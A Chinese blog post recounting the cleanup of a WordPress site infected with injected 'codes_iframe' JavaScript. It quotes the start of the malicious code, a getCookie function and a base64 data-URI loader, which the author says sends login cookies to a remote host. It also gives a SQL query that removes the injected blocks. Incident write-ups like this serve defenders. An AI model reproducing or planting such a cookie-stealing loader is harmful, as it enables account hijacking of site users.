天问

wordpress codes_iframe 入侵解决

(1)案情回顾

最近在编辑文章的时候,具体呢在2019年01月10日左右,发现文章内容出现突然出现如下代码:


function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?|{}()[]\\/+^])/g,"\$1")+"=([^;])"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3

很多文章都出现这个问题,顿时发现出现重大事故!最近更新过wordpress5.0,可能是新版本有重大漏洞!那么这串js代码是什么意思呢?

function getcookie明面上是获取 登录cookie,啥?获取我的登录cookie后,然后就可以通过工具模拟登录我的网站,这样就可以绕过账号和密码。

解密之后发现还是有unicode编码,继续解码:

好了,可以看到一个链接,黑客通过js代码,把登录的cookie信息发送到指定的链接接收保存到数据库。这样就实现了盗号的完整步骤。ip查询下:


很显然异地登录。看来网站后续还得加入不常登陆的地点二次验证登录!那么,黑客攻破了这个技术网站,但还不能攻破web服务器,所以还不需要太担心。下面开始解决:

  • (2)批量删除恶意脚本
UPDATE wp_posts
SET post_content = CONCAT(
	SUBSTRING(
		post_content,
		1,
		LOCATE(
			'<!--codes_iframe-->',
			post_content
		) - 1
	),
	SUBSTRING(
		post_content,
		LOCATE(
			'<!--/codes_iframe-->',
			post_content
		) + LENGTH('<!--/codes_iframe-->')
	)
)
WHERE
	LOCATE(
		'<!--codes_iframe-->',
		post_content
	) > 0
;

(3)后续

漏洞来源哪里呢?使用开源系统就是有这么多的烦恼,可能安装了某恶意插件,也可以是本身框架有明显漏洞,被内部黑客跟踪并攻克。。那么到底哪出现了问题呢?下面继续跟踪

数据库保存1个月的备份,通过二分查找我很容易定位到哪天被黑。。。

今天是19-01-10.结果惊讶发现居然是昨天01-09日被黑的。。。

不过这几天还真没写博客,所以可以判定漏洞可能最近更新到5.0.3之后,伴随着的后果,那么就回退吧,或者再跟踪一段时间找出根源。。。。

多表联合查询,发现下面几个账号出现cookie泄露问题。于是对这几个账号批量修改密码,并登出!

博客地址:http://blog.yoqi.me/?p=15707
扫我捐助哦
喜欢 0

这篇文章还没有评论

发表评论